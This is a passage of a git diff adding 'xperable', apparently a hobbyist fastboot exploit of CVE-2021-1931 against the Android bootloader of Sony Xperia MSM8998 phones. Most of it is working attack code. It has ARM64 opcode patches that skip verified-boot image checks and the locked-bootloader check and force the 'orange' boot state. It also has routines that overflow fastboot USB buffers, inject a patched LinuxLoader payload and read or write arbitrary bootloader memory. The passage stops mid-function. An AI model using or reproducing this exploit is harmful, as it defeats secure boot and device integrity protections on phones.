OPCODE(ablcode + 0x09258 + 0x10, 0x1c, 0x07, 0x00, 0x90); // adrp x28, #0xe0000 = [ 1c 07 00 90 ] + OPCODE(ablcode + 0x09258 + 0x14, 0x9c, 0xd3, 0x43, 0xf9); // ldr x28, [x28, #0x7a0] = [ 9c d3 43 f9 ] + OPCODE(ablcode + 0x09258 + 0x18, 0x80, 0x43, 0x40, 0xf9); // ldr x0, [x28, #0x80] = [ 80 43 40 f9 ] + OPCODE(ablcode + 0x09258 + 0x1c, 0xa1, 0xff, 0xff, 0xf0); // adrp x1, #-0x9000 = [ a1 ff ff f0 ] + OPCODE(ablcode + 0x09258 + 0x20, 0x21, 0x00, 0x20, 0x91); // add x1, x1, #0x800 = [ 21 00 20 91 ] + OPCODE(ablcode + 0x09258 + 0x24, 0xf5, 0xb4, 0x00, 0x94); // bl #0x2d3d4 = [ f5 b4 00 94 ] + OPCODE(ablcode + 0x09258 + 0x28, 0x80, 0x43, 0x00, 0xf9); // str x0, [x28, #0x80] = [ 80 43 00 f9 ] + OPCODE(ablcode + 0x09258 + 0x2c, 0x2a, 0xfe, 0xff, 0x17); // b #-0x0758 = [ 2a fe ff 17 ] + } + + OPCODE(ablcode + 0x33A94 + 0x00, 0xa0, 0x05, 0x00, 0x90); // adrp x0, #0xb4000 = [ a0 05 00 90 ] byte at 0xe7d6d is override_flag created in align space + OPCODE(ablcode + 0x33A94 + 0x04, 0x00, 0xb4, 0x75, 0x39); // ldrb w0, [x0, #0xd6d] = [ 00 b4 75 39 ] + OPCODE(ablcode + 0x33A94 + 0x08, 0x60, 0x00, 0x00, 0x34); // cbz w0, #0x0c = [ 60 00 00 34 ] + OPCODE(ablcode + 0x33A94 + 0x0c, 0x00, 0x04, 0x00, 0x51); // sub w0, w0, #0x01 = [ 00 04 00 51 ] + OPCODE(ablcode + 0x33A94 + 0x10, 0x60, 0x42, 0x00, 0xb9); // str w0, [x19, #0x40] = [ 60 42 00 b9 ] + OPCODE(ablcode + 0x33A94 + 0x14, 0x06, 0x00, 0x00, 0x14); // b #0x18 = [ 06 00 00 14 ] + + OPCODE(ablcode + 0x332E4 + 0x00, 0xfe, 0x03, 0x00, 0xaa); // mov x30, x0 = [ fe 03 00 aa ] + OPCODE(ablcode + 0x33320 + 0x00, 0xa8, 0x05, 0x00, 0x90); // adrp x8, #0xb4000 = [ a8 05 00 90 ] byte at 0xe7d6e is override_flag created in align space + OPCODE(ablcode + 0x33320 + 0x04, 0x09, 0xb9, 0x75, 0x39); // ldrb w9, [x8, #0xd6e] = [ 09 b9 75 39 ] + OPCODE(ablcode + 0x33320 + 0x08, 0x69, 0x00, 0x00, 0x34); // cbz w9, #0x0c = [ 69 00 00 34 ] + OPCODE(ablcode + 0x33320 + 0x0c, 0x20, 0x05, 0x00, 0x51); // sub w0, w9, #0x01 = [ 20 05 00 51 ] + OPCODE(ablcode + 0x33320 + 0x10, 0xc0, 0x7b, 0x00, 0xb9); // str w0, [x30, #0x78] = [ c0 7b 00 b9 ] + + OPCODE(ablcode + 0x28914, 0x1f, 0x20, 0x03, 0xd5); // nop = [ 1f 20 03 d5 ] + OPCODE(ablcode + 0x24198, 0x1f, 0x20, 0x03, 0xd5); // nop = [ 1f 20 03 d5 ] + OPCODE(ablcode + 0x01660, 0x1f, 0x20, 0x03, 0xd5); // nop = [ 1f 20 03 d5 ] + OPCODE(ablcode + 0x288C0, 0xe0, 0x03, 0x1f, 0xaa); // mov x0, xzr = [ e0 03 1f aa ] + + OPCODE(ablcode + 0x01080 + 0x00, 0x3b, 0x94, 0x00, 0x94); // bl #0x250ec = [ 3b 94 00 94 ] + OPCODE(ablcode + 0x01080 + 0x04, 0xe8, 0xff, 0xff, 0xf0); // adrp x8, #-0x1000 = [ e8 ff ff f0 ] + OPCODE(ablcode + 0x01080 + 0x08, 0x29, 0x07, 0x00, 0xd0); // adrp x9, #0xe6000 = [ 29 07 00 d0 ] + OPCODE(ablcode + 0x01080 + 0x0c, 0x28, 0x01, 0x08, 0xcb); // sub x8, x9, x8 = [ 28 01 08 cb ] + OPCODE(ablcode + 0x01080 + 0x10, 0x08, 0x00, 0x08, 0x8b); // add x8, x0, x8 = [ 08 00 08 8b ] + OPCODE(ablcode + 0x01080 + 0x14, 0xe1, 0x07, 0x00, 0x90); // adrp x1, #0xfc000 = [ e1 07 00 90 ] + OPCODE(ablcode + 0x01080 + 0x18, 0x00, 0x85, 0x40, 0xf8); // ldr x0, [x8], #0x08 = [ 00 85 40 f8 ] + OPCODE(ablcode + 0x01080 + 0x1c, 0x20, 0x85, 0x00, 0xf8); // str x0, [x9], #0x08 = [ 20 85 00 f8 ] + OPCODE(ablcode + 0x01080 + 0x20, 0x3f, 0x01, 0x01, 0xeb); // cmp x9, x1 = [ 3f 01 01 eb ] + OPCODE(ablcode + 0x01080 + 0x24, 0xa3, 0xff, 0xff, 0x54); // b.lo #-0x0c = [ a3 ff ff 54 ] + OPCODE(ablcode + 0x01080 + 0x28, 0xec, 0xff, 0xff, 0x17); // b #-0x50 = [ ec ff ff 17 ] + + *(uint16_t *)(ablcode + 0xe7d6d) = override_flag; + } +} + +static const int p114_vb_size = 0xc000; + +static void p114_test6_patch(unsigned char *vbcode, int size, int offset) +{ + OPCODE(vbcode + 0x25FC, 0x3d, 0x00, 0x00, 0x14); // b #0xf4 = [ 3d 00 00 14 ] skip image verification in VerifiedBootDxe module with GREEN + //OPCODE(vbcode + 0x25FC, 0x39, 0x00, 0x00, 0x14); // b #0xe4 = [ 39 00 00 14 ] skip image verification in VerifiedBootDxe module with RED +} + +static void p114_test7_patch(unsigned char *ablcode, int size, int offset) +{ + OPCODE(ablcode + 0x08FB8, 0x23, 0x00, 0x80, 0xd2); // mov x3, #0x01 = [ 23 00 80 d2 ] force "orange" in kernel command line +} + +static void p114_test8_patch(unsigned char *ablcode, int size, int offset) +{ + OPCODE(ablcode + 0x286D4 + 0x00, 0x94, 0x22, 0x00, 0x51); // sub w20, w20, #0x08 = [ 94 22 00 51 ] + OPCODE(ablcode + 0x286D4 + 0x04, 0x74, 0x6a, 0x74, 0xf8); // ldr x20, [x19, x20] = [ 74 6a 74 f8 ] get the size of the first kernel image from the end of buffer + OPCODE(ablcode + 0x286D4 + 0x08, 0x16, 0x00, 0x00, 0x14); // b #0x58 = [ 16 00 00 14 ] skip checking for unlocked bootloader and returning errors if locked + OPCODE(ablcode + 0x286D4 + 0x0c, 0x62, 0x02, 0x14, 0x8b); // add x2, x19, x20 = [ 62 02 14 8b ] + OPCODE(ablcode + 0x286D4 + 0x10, 0xe1, 0x03, 0x13, 0xaa); // mov x1, x19 = [ e1 03 13 aa ] + OPCODE(ablcode + 0x286D4 + 0x14, 0x54, 0x84, 0x40, 0xf8); // ldr x20, [x2], #0x08 = [ 54 84 40 f8 ] get the size of the second kernel image + OPCODE(ablcode + 0x286D4 + 0x18, 0xb4, 0x56, 0x00, 0xf9); // str x20, [x21, #0xa8] = [ b4 56 00 f9 ] update the kernel image size to boot + OPCODE(ablcode + 0x286D4 + 0x1c, 0x63, 0x02, 0x14, 0x8b); // add x3, x19, x20 = [ 63 02 14 8b ] + OPCODE(ablcode + 0x286D4 + 0x20, 0x40, 0x84, 0x40, 0xf8); // ldr x0, [x2], #0x08 = [ 40 84 40 f8 ] + OPCODE(ablcode + 0x286D4 + 0x24, 0x20, 0x84, 0x00, 0xf8); // str x0, [x1], #0x08 = [ 20 84 00 f8 ] + OPCODE(ablcode + 0x286D4 + 0x28, 0x3f, 0x00, 0x03, 0xeb); // cmp x1, x3 = [ 3f 00 03 eb ] + OPCODE(ablcode + 0x286D4 + 0x2c, 0xa3, 0xff, 0xff, 0x54); // b.lo #-0x0c = [ a3 ff ff 54 ] + OPCODE(ablcode + 0x286D4 + 0x30, 0x7f, 0x00, 0x00, 0xf9); // str xzr, [x3] = [ 7f 00 00 f9 ] + OPCODE(ablcode + 0x286D4 + 0x34, 0x0b, 0x00, 0x00, 0x14); // b #0x2c = [ 0b 00 00 14 ] jmp to check the second kernel moved to the place of 1st one + OPCODE(ablcode + 0x286D4 + 0x38, 0x61, 0x6a, 0x74, 0xf8); // ldr x1, [x19, x20] = [ 61 6a 74 f8 ] check if we have size for the second kernel image there + OPCODE(ablcode + 0x286D4 + 0x3c, 0xe0, 0x63, 0x00, 0x91); // add x0, sp, #0x18 = [ e0 63 00 91 ] orig instruction from 0x28810 + OPCODE(ablcode + 0x286D4 + 0x40, 0x21, 0x09, 0x00, 0xb4); // cbz x1, #0x124 = [ 21 09 00 b4 ] on second kernel skip image auth and go to boot it + OPCODE(ablcode + 0x286D4 + 0x44, 0x3f, 0x00, 0x00, 0x14); // b #0xfc = [ 3f 00 00 14 ] continue with auth of the first kernel + + OPCODE(ablcode + 0x28810 + 0x00, 0xbf, 0xff, 0xff, 0x17); // b #-0x104 = [ bf ff ff 17 ] hook before image auth to decide if to skip it + OPCODE(ablcode + 0x2881C + 0x00, 0x29, 0xf6, 0xff, 0xb4); // cbz x9, #-0x13c = [ 29 f6 ff b4 ] continue with patched code after the first image auth (0x286D4 + 0x0c) +} + +static void p114_test9_patch(unsigned char *vbcode, int size, int offset) +{ + OPCODE(vbcode + 0x0259C + 0x00, 0xc2, 0x00, 0x00, 0x10); // adr x2, #0x18 = [ c2 00 00 10 ] + OPCODE(vbcode + 0x0259C + 0x04, 0x42, 0x00, 0x40, 0xb9); // ldr w2, [x2] = [ 42 00 40 b9 ] + //OPCODE(vbcode + 0x0259C + 0x08, 0x51, 0x00, 0x00, 0xd0); // adrp x17, #0xa000 + //OPCODE(vbcode + 0x0259C + 0x0c, 0x22, 0x82, 0x02, 0xb9); // str w2, [x17, #0x280] + OPCODE(vbcode + 0x0259C + 0x10, 0x62, 0x2e, 0x00, 0xb9); // str w2, [x19, #0x2c] = [ 62 2e 00 b9 ] + OPCODE(vbcode + 0x0259C + 0x14, 0x05, 0x00, 0x00, 0x14); // b #0x14 = [ 05 00 00 14 ] + *(uint32_t *)(vbcode + 0x0259C + 0x18) = offset; +} diff --git a/xperable.c b/xperable.c new file mode 100644 index 0000000..20b6b0c --- /dev/null +++ b/xperable.c @@ -0,0 +1,1270 @@ +// SPDX-License-Identifier: GPL-3.0-or-later +/* + * xperable.c - Xperia ABL fastboot Exploit of CVE-2021-1931 + * + * Copyright (C) 2025 j4nn at xdaforums + */ + +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef __MINGW64__ +static void *memmem(const void *haystack, size_t haystacklen, + const void *needle, size_t needlelen) +{ + while (haystacklen >= needlelen) { + if (memcmp(haystack, needle, needlelen) == 0) + return (void *)haystack; + haystack++; haystacklen--; + } + return NULL; +} +#endif + +#include "fbusb.h" + +#include "logging.h" +int verbosity = LOG_NFO; +static int abl_patch_ext; +static int override_flag; +static char cmdline[0x800]; +static char cmdlinex[0x800]; + +#define OPCODE(ptr, a, b, c, d) \ + do { \ + unsigned char *p = (void *)(ptr); \ + p[0] = (a); p[1] = (b); p[2] = (c); p[3] = (d); \ + } while (0) + +typedef void (*testx_patch_t)(unsigned char *buff, int size, int offset); + +struct xperable_target { + const char *ablver; + const char *ytname; + const char *llname; + int offset; + int size; + testx_patch_t setup_test2; + testx_patch_t setup_test3; + int64_t test3_hitadj; + int stage1_cont; + void (*patch_abl)(unsigned char *ablcode, int extended); + void (*setup_test4)(unsigned char *buff, int size, int offset, + int payloadsize); + void (*setup_test5)(unsigned char *buff, int size, int offset, + int payloadsize); + const char *test4_cmd; + int vb_size; + testx_patch_t test6_patch; + testx_patch_t test7_patch; + testx_patch_t test8_patch; + testx_patch_t test9_patch; +}; + +#define XPERABLE_TARGET(idstr, blv) \ + { \ + .ablver = idstr, \ + .ytname = #blv, \ + .llname = "LinuxLoader-" #blv ".pe", \ + .offset = blv ## _offset, \ + .size = blv ## _size, \ + .setup_test2 = blv ## _setup_test2, \ + .setup_test3 = blv ## _setup_test3, \ + .test3_hitadj = blv ## _test3_hitadj, \ + .stage1_cont = blv ## _stage1_cont, \ + .patch_abl = blv ## _patch_abl, \ + .setup_test4 = blv ## _setup_test4, \ + .setup_test5 = blv ## _setup_test5, \ + .test4_cmd = blv ## _test4_cmd, \ + .vb_size = blv ## _vb_size, \ + .test6_patch = blv ## _test6_patch, \ + .test7_patch = blv ## _test7_patch, \ + .test8_patch = blv ## _test8_patch, \ + .test9_patch = blv ## _test9_patch, \ + } + + +#ifdef TARGET_ABL_P114 +#include "target-p114.c" +#endif +#ifdef TARGET_ABL_O77 +#include "target-o77.c" +#endif + + +static struct xperable_target yoshino_abl_targets[] = { +#ifdef TARGET_ABL_P114 + XPERABLE_TARGET("X_Boot_MSM8998_LA2.0_P_114", p114), +#endif +#ifdef TARGET_ABL_O77 + XPERABLE_TARGET("X_Boot_MSM8998_LA1.1_O_77", o77), +#endif + { .ablver = NULL } +}; + +static struct xperable_target *target = &yoshino_abl_targets[0]; + +static int set_xperable_target(const char *blver) +{ + int i; + + for (i = 0; yoshino_abl_targets[i].ablver != NULL; i++) + if (strstr(blver, yoshino_abl_targets[i].ablver) != NULL) { + target = &yoshino_abl_targets[i]; + PDBG("Using %s xperable target (offset = 0x%x, size = 0x%x)\n", + target->ytname, target->offset, target->size); + return 0; + } + target = &yoshino_abl_targets[i]; + PERR("%s version not supported!\n", blver); + return -1; +} + + +int load_pe(const char *fname, void *buff, int maxsize, uint64_t base_va, + int *code_boundary); + + +static unsigned char txbuff[1024 * 1024 * 64]; +static unsigned char rxbuff[1024 * 1024 * 64]; +static unsigned char buffer[1024 * 1024 * 64]; +static unsigned char kibuff[1024 * 1024 * 128]; + + +// 0x9FFF7000, 0x00008000, "Log Buffer", AddMem, SYS_MEM, SYS_MEM_CAP, RtData, WRITE_BACK_XN +#define LOGBUF_ADDR 0x9FFF7000 +#define LOGBUF_SIZE 0x00008000 +static char logbuf[LOGBUF_SIZE + 1]; +static int logbuf_pos; + +struct module_info { + char name[64]; + uint64_t addr; +}; + +#define MAX_MODULES_NUM 128 +static struct module_info modules[MAX_MODULES_NUM + 1]; +static int logbuf_parsed; + +static int add_module_addr(const char *mname, uint64_t addr); + +static int getvar_all(struct fbusb *dev) +{ + int res; + res = fbusb_strcmd(dev, "getvar:all", rxbuff, 65); + while (res == FASTBOOT_INFO) { + res = 0; + if (strncmp(rxbuff, "version-bootloader:", 19) == 0) + res = 1; + if (verbosity >= LOG_NFO && + ( res == 1 || strncmp(rxbuff, "unlocked:", 9) == 0 + || strncmp(rxbuff, "version-baseband:", 17) == 0 + || strncmp(rxbuff, "secure:", 7) == 0 + || strncmp(rxbuff, "product:", 8) == 0 ) + || verbosity >= LOG_DBG) + { + POUT("%s\n", rxbuff); + } + if (res) + set_xperable_target(rxbuff + 19); + res = fbusb_strcmd_resp(dev, rxbuff, 65); + } + if (res != FASTBOOT_OKAY) { + if (res > 0) + PERR("getvar all failed: %s\n", rxbuff); + else + PERR("getvar all protocol error, res=%d\n", res); + } + return res; +} + +static int getvar_single(struct fbusb *dev, const char *var) +{ + int res; + snprintf(txbuff, sizeof(txbuff), "getvar:%s", var); + res = fbusb_strcmd(dev, txbuff, rxbuff, 65); + if (res == FASTBOOT_OKAY) { + POUT("%s: %s\n", var, rxbuff); + if (strcmp(var, "version-bootloader") == 0) + set_xperable_target(rxbuff); + } + return res; +} + +static int test0(struct fbusb *dev, int size, int offset, const char *cmd) +{ + int i; + int res; + + for (i = offset - 0x04; i >= 0; i -= 0x04) + OPCODE(txbuff + i, 0x00, 0x00, 0x40, 0x94); // bl #0x1000000 = [ 00 00 40 94 ] + //OPCODE(txbuff + i, 0x00, 0x00, 0x00, 0x14); // b #0x00 = [ 00 00 00 14 ] + for (i = offset; i < size; i += 0x04) + //OPCODE(txbuff + i, 0x00, 0x00, 0xc0, 0x94); // bl #0x3000000 = [ 00 00 c0 94 ] + OPCODE(txbuff + i, 0x00, 0x00, 0x00, 0x14); // b #0x00 = [ 00 00 00 14 ] + if (cmd != NULL) + strcpy(txbuff, cmd); + else + snprintf(txbuff, 64, "download:%08x", 16); + + PNFO("Starting test0 size = 0x%08x, offset = 0x%08x, cmd = '%s'\n", + size, offset, txbuff); + PNFO_CONT(" %08x-%08x: [ %02x %02x %02x %02x ]\n", 0, offset - 4, + txbuff[offset - 4 + 0], txbuff[offset - 4 + 1], + txbuff[offset - 4 + 2], txbuff[offset - 4 + 3]); + PNFO_CONT(" %08x-%08x: [ %02x %02x %02x %02x ]\n", offset, size - 4, + txbuff[offset + 0], txbuff[offset + 1], + txbuff[offset + 2], txbuff[offset + 3]); + + i = 64; + res = fbusb_bufcmd(dev, txbuff, size, rxbuff, &i); + if (res < 0) { + i = 64; + res = fbusb_bufcmd(dev, txbuff, strlen(txbuff), rxbuff, &i); + } + if (res == FASTBOOT_DATA) { + size = 0; + if (sscanf(txbuff, "download:%8x", &size) != 1) + sscanf(rxbuff, "%8x", &size); + memset(txbuff, 'A', size); + i = 64; + res = fbusb_bufcmd(dev, txbuff, size, rxbuff, &i); + } + + PDBG("Finished test0: res = %d\n", res); + return res < 0 ? 0 : -1; +} + +static int test1(struct fbusb *dev, int size, int offset, const char *cmd) +{ + int i; + int res; + + if (cmd != NULL && cmd[0] != '\0') + strcpy(txbuff, cmd); + else + snprintf(txbuff, 64, "download:%08x", size); + + PNFO("Starting test1 size = 0x%08x, offset = 0x%08x, cmd = '%s'\n", + size, offset, txbuff); + + res = fbusb_strcmd(dev, txbuff, rxbuff, 65); + if (res < 0) + res = fbusb_strcmd(dev, txbuff, rxbuff, 65); + if (res == FASTBOOT_DATA) { + size = 0; + sscanf(rxbuff, "%8x", &size); + i = 64; + res = fbusb_bufcmd(dev, buffer, size, rxbuff, &i); + } + do { + switch (res) { + case FASTBOOT_OKAY: + case FASTBOOT_FAIL: + case FASTBOOT_INFO: + if (rxbuff[0] != '\0') + POUT("%s\n", rxbuff); + break; + } + if (res == FASTBOOT_INFO) + res = fbusb_strcmd_resp(dev, rxbuff, 65); + } while (res == FASTBOOT_INFO); + + PDBG("Finished test1: res = %d\n", res); + return res; +} + +static int test2(struct fbusb *dev, int size, int offset, const char *cmd) +{ + int i; + int res; + char *p; + + if (target->ablver == NULL) { + PERR("test2 failed: target not set up\n"); + return -1; + } + + target->setup_test2(txbuff, size, offset); + + if (cmd != NULL) + strcpy(txbuff, cmd); + else + snprintf(txbuff, 64, "download:%08x", 16); + + PNFO("Starting test2 size = 0x%06x, offset = 0x%02x, cmd = '%s'\n", + size, offset, txbuff); + + i = 64; + res = fbusb_bufcmd(dev, txbuff, size, rxbuff, &i); + if (res < 0) { + i = 64; + res = fbusb_bufcmd(dev, txbuff, strlen(txbuff), rxbuff, &i); + } + switch (res) { + case FASTBOOT_DATA: + size = 0; + if (sscanf(txbuff, "download:%8x", &size) != 1) + sscanf(rxbuff, "%8x", &size); + memset(txbuff, 'A', size); + i = 64; + res = fbusb_bufcmd(dev, txbuff, size, rxbuff, &i); + PNFO("test2 not hit: response = '%s'\n", rxbuff); + return -1; + case FASTBOOT_UNKNOWN: + if (i <= 11 + 11) + rxbuff[i] = '\0'; + res = strtoul(rxbuff, &p, 16); + if (p > (char *)rxbuff) { + if (p[0] == '-') { + char ds[16]; + snprintf(ds, sizeof(ds), "vxyz%06x-", res); + for (i = 0; i < 8; i++) + if (strncmp(ds + i, p + 1, 11) == 0) + break; + if (i < 8) { + PNFO("test2 succeeded: distance = 0x%06x + 0x%02x " + "(offset was 0x%02x)\n", res, (i << 4), offset); + return 0; + } + } + } + break; + } + PERR("test2 failed: response = '%s'\n", rxbuff); + return -1; +} + +static int test3(struct fbusb *dev, int size, int offset, const char *cmd) +{ + int i; + int res; + char *p; + + if (target->ablver == NULL) { + PERR("test3 failed: target not set up\n"); + return -1; + } + + target->setup_test3(txbuff, size, offset); + + if (cmd != NULL) + strcpy(txbuff, cmd); + else + snprintf(txbuff, 64, "download:%08x", 16); + + PNFO("Starting test3 size = 0x%06x, offset = 0x%02x, cmd = '%s'\n", + size, offset, txbuff); + + i = 64; + res = fbusb_bufcmd(dev, txbuff, size, rxbuff, &i); + if (res < 0) { + i = 64; + res = fbusb_bufcmd(dev, txbuff, strlen(txbuff), rxbuff, &i); + } + switch (res) { + case FASTBOOT_DATA: + size = 0; + if (sscanf(txbuff, "download:%8x", &size) != 1) + sscanf(rxbuff, "%8x", &size); + memset(txbuff, 'A', size); + i = 64; + res = fbusb_bufcmd(dev, txbuff, size, rxbuff, &i); + PNFO("test3 not hit: response = '%s'\n", rxbuff); + return -1; + case FASTBOOT_FAIL: + res = strtoul(rxbuff, &p, 16); + if (p > (char *)rxbuff) { + if (p[0] == ':') { + uint64_t addr = *(uint64_t *)(p + 1); + uint64_t base = *(uint64_t *)(p + 1 + 8); + addr += target->test3_hitadj; + base -= 0x97ffecddLL + 0x322D8LL; + p[0] = '\0'; + PNFO("test3 succeeded: distance = 0x%06x, hit from 0x%06x, base = 0x%06x " + "(offset=0x%02x size=0x%02x)\n", res, (int)addr, (int)base, + offset, size); + return 0; + } + } + break; + } + PERR("test3 failed: response = '%s'\n", rxbuff); + return -1; +} + + +static int test4(struct fbusb *dev, int size, int offset, const char *fname) +{ + int i; + int res; + int payloadsize; + unsigned addr; + + if (target->ablver == NULL) { + PERR("test4 failed: target not set up\n"); + return -1; + } + + payloadsize = 0; + res = load_pe(fname, txbuff, sizeof(txbuff), 0, &payloadsize); + if (res <= 0 || payloadsize == 0) + return -1; + + target->setup_test4(txbuff, size, offset, payloadsize); + + PNFO("Starting test4 size = 0x%06x, offset = 0x%02x, " + "payloadsize = 0x%02x\n", size, offset, payloadsize); + + // use +16 to differentiate between success and failure, + // patch code will use 'payloadsize' regardless this + // as it doest not parse that value + snprintf(txbuff, 64, "download:%08x", (payloadsize + 16)); + + i = 64; + res = fbusb_bufcmd(dev, txbuff, size, rxbuff, &i); + if (res < 0) { + i = 64; + res = fbusb_bufcmd(dev, txbuff, strlen(txbuff), rxbuff, &i); + } + if (res != FASTBOOT_DATA) + return -1; + size = 0; + addr = 0; + if (rxbuff[0] == 0x11) { + addr = *(uint32_t *)&rxbuff[0] - 0x11111111; + PNFO("Got LinuxLoader base addr 0x%08x (0x%08x)\n", + addr, addr + 0x11111111); + add_module_addr("LinuxLoader", addr); + } else if (sscanf(rxbuff, "%8x", &size) == 1) { + if (size == payloadsize + 16) { + // no luck with the exploit, just follow protocol: upload the data + memset(txbuff, 'A', size); + i = 64; + res = fbusb_bufcmd(dev, txbuff, size, rxbuff, &i); + return -1; + } + } + + res = load_pe(fname, txbuff, sizeof(txbuff), addr, NULL); + if (res <= 0) + return -1; + + target->patch_abl(txbuff, abl_patch_ext); + + i = 64; + res = fbusb_bufcmd(dev, txbuff, payloadsize, rxbuff, &i); + if (res != FASTBOOT_OKAY) { + PERR("LinuxLoader payload send failed\n"); + return -1; + } + + strcpy(txbuff, target->test4_cmd); + + res = fbusb_strcmd(dev, txbuff, rxbuff, 65); + if (res == FASTBOOT_FAIL) { + addr = 0; + offset = 0; + if (sscanf(rxbuff, "%x/%x", &addr, &offset) == 2) { + PNFO("LinuxLoader @ 0x%08x patched successfully " + "(usb buff @ 0x%08x, distance = 0x%08x)\n", + addr, offset, addr - (unsigned)offset); + return 0; + } + } + PERR("LinuxLoader patching failed: %s\n", rxbuff); + return -1; +} + +static int test5(struct fbusb *dev, int size, int offset, const char *fname) +{ + int i; + int res; + int payloadsize; + unsigned addr; + + if (target->ablver == NULL) { + PERR("test5 failed: target not set up\n"); + return -1; + } + + payloadsize = 0; + res = load_pe(fname, txbuff, sizeof(txbuff), 0, &payloadsize); + if (res <= 0 || payloadsize == 0) + return -1; + + target->setup_test5(txbuff, size, offset, payloadsize); + + PNFO("Starting test5 size = 0x%06x, offset = 0x%02x, " + "payloadsize = 0x%02x\n", size, offset, payloadsize); + + // use +16 to differentiate between success and failure, + // patch code will use 'payloadsize' regardless this + // as it doest not parse that value + snprintf(txbuff, 64, "download:%08x", (payloadsize + 16)); + + i = 64; + res = fbusb_bufcmd(dev, txbuff, size, rxbuff, &i); + if (res < 0) { + i = 64; + res = fbusb_bufcmd(dev, txbuff, strlen(txbuff), rxbuff, &i); + } + if (res != FASTBOOT_DATA) { + if (*(uint32_t *)rxbuff != 0) + return -1; + i -= 4; + memmove(rxbuff, rxbuff + 4, i); + memset(rxbuff + i, 0, 4); + } + size = 0; + addr = 0; + if (rxbuff[0] == (target->stage1_cont & 0xff)) { + addr = *(uint32_t *)&rxbuff[0] - target->stage1_cont; + PNFO("Got LinuxLoader base addr 0x%08x (0x%08x)\n", + addr, addr + target->stage1_cont); + add_module_addr("LinuxLoader", addr); + } else if (sscanf(rxbuff, "%8x", &size) == 1) { + if (size == payloadsize + 16) { + // no luck with the exploit, just follow protocol: upload the data + memset(txbuff, 'A', size); + i = 64; + res = fbusb_bufcmd(dev, txbuff, size, rxbuff, &i); + return -1; + } + } + + res = load_pe(fname, txbuff, sizeof(txbuff), addr, NULL); + if (res <= 0) + return -1; + + target->patch_abl(txbuff, abl_patch_ext); + + i = 64; + res = fbusb_bufcmd(dev, txbuff, payloadsize, rxbuff, &i); + if (res != FASTBOOT_OKAY) { + PERR("LinuxLoader payload send failed\n"); + return -1; + } + + unsigned char *p = memmem(txbuff, payloadsize, "\xc0\x03\x5f\xd6", 4); + uint64_t retoff = 0; + if (p > txbuff) + retoff = p - txbuff; + + strcpy(txbuff, target->test4_cmd); + + res = fbusb_strcmd(dev, txbuff, rxbuff, 65); + if (res == FASTBOOT_FAIL) { + addr = 0; + offset = 0; + if (sscanf(rxbuff, "%x/%x", &addr, &offset) == 2) { + PNFO("LinuxLoader @ 0x%08x patched successfully " + "(usb buff @ 0x%08x, distance = 0x%08x)\n", + addr, offset, addr - (unsigned)offset); +#if 0 + retoff += addr; + size = addr - offset; + for (i = 0; i < size; i += 8) { + *(uint64_t *)(txbuff + i) = retoff; + } + strcpy(txbuff, "dummycmd"); + + i = 64; + res = fbusb_bufcmd(dev, txbuff, size, rxbuff, &i); + if (res < 0) { + i = 64; + res = fbusb_bufcmd(dev, txbuff, strlen(txbuff), rxbuff, &i); + } + + PNFO("usb buff @ 0x%08x filled with 0x%016lx, size = 0x%08x\n", + offset, retoff, size); +#endif + return 0; + } + } + PERR("LinuxLoader patching failed: %s\n", rxbuff); + return -1; +} + +static int abl_set_addr(struct fbusb *dev, uint64_t addr, int rmode, uint64_t *prev) +{ + int res; + uint64_t old; + + snprintf(txbuff, 64, "erase:0%c%09lx", rmode ? 'X' : 'x', addr); + res = fbusb_strcmd(dev, txbuff, rxbuff, 65); + if (res == FASTBOOT_FAIL && rxbuff[0] == '0' && rxbuff[1] == 'x') { + old = strtoul(rxbuff, NULL, 16); + PDBG("Target addr set to 0%c%08lx (prev 0x%08lx)\n", + rmode ? 'X' : 'x', addr, old); + if (prev != NULL) + *prev = old; + return 0; + } + return -1; +} + +static int cmd_download(struct fbusb *dev, int size, + void *buffer, int rmode) +{ + int res; + int rspsz; + char *p; + + snprintf(txbuff, 64, "download:%08x", size); + res = fbusb_strcmd(dev, txbuff, rxbuff, 65); + if (res == FASTBOOT_DATA) { + res = strtoul(rxbuff, &p, 16); + if (res != size || (p - (char *)rxbuff) != 8) { + PERR("cmd_download not matching download size!\n"); + size = res; + } + rspsz = 64; + if (rmode == 0) + res = fbusb_bufcmd(dev, buffer, size, rxbuff, &rspsz); + else + res = fbusb_bufrcv(dev, buffer, size, rxbuff, &rspsz); + if (res != FASTBOOT_OKAY) { + if (res >= 0 && rspsz >= 0 && rspsz < 64) { + rxbuff[rspsz] = '\0'; + PERR("cmd_download failed: %s!\n", rxbuff); + } + } + } + + return res; +} + +static int abl_mem_rw(struct fbusb *dev, uint64_t addr, int size, + void *buffer, int rmode) +{ + int res; + uint64_t prev = 0; + + if (abl_set_addr(dev, addr, rmode, &prev) < 0) + return -1; + + res = cmd_download(dev, size, buffer, rmode); + + abl_set_addr(dev, prev, 0, NULL); + + return res; +} + +static int abl_mem_write(struct fbusb *dev, uint64_t addr, int size, + void *buffer) +{ + return abl_mem_rw(dev, addr, size, buffer, 0); +} + +static int abl_mem_read(struct fbusb *dev, uint64_t addr, int size, + void *buffer) +{ + return abl_mem_rw(dev, addr, size, buffer, 1); +} + +static int file_rd_buff(const char *fname, void *buffer, int size) +{ + int res; + int fd = open(fname, O_RDONLY); + if (fd < 0) { + PRNO("file_rd_buff open %s", fname); + return -1; + } + res = read(fd, buffer, size); + if (res < 0) + PRNO("file_rd_buff read %s", fname); + close(fd); + return res; +} + +static int file_wr_buff(const char *fname, const void *buffer, int size) +{ + int res; + int fd = creat(fname, 0644); + if (fd < 0) { + PRNO("file_wr_buff creat %s", fname); + return -1; + } + res = write(fd, buffer, size); + if (res < 0) + PRNO("file_wr_buff write %s", fname); + close(fd); + return res == size ? 0 : -1; +} + +static int patch_buff(void *buffer, int size, char *patch) +{ + int res; + char *p; + uint64_t val; + unsigned offs; + unsigned step; + int state; + uint8_t *buff = buffer; + + res = -1; + step = 0; + state = 0; + p = patch; + do { + patch = p; + val = strtoul(patch, &p, 16); + if (p > patch) { + switch (*p) { + case ':': step = 1; state = 1; offs = val; p++; continue; + case '/': step = 4; state = 1; offs = val; p++; continue; + case '%': step = 4; state = 2; offs = val; p++; continue; + case '@': step = 8; state = 1; offs = val; p++; continue; + } + if (step == 0) + break; + if (state == 1) { + if (*p == ',') + p++; + if (offs + step > size) + break; + switch (step) { + case 1: + *(uint8_t *)(buff + offs) = (uint8_t)val; res = 0; break; + case 4: + *(uint32_t *)(buff + offs) = (uint32_t)val; res = 0; break; + case 8: + *(uint64_t *)(buff + offs) = val; res = 0; break; + } + offs += step; + } else if (state == 2) { + if (*p == ',') + p++; + if (offs + step > size) + break; + if (step != 4) + 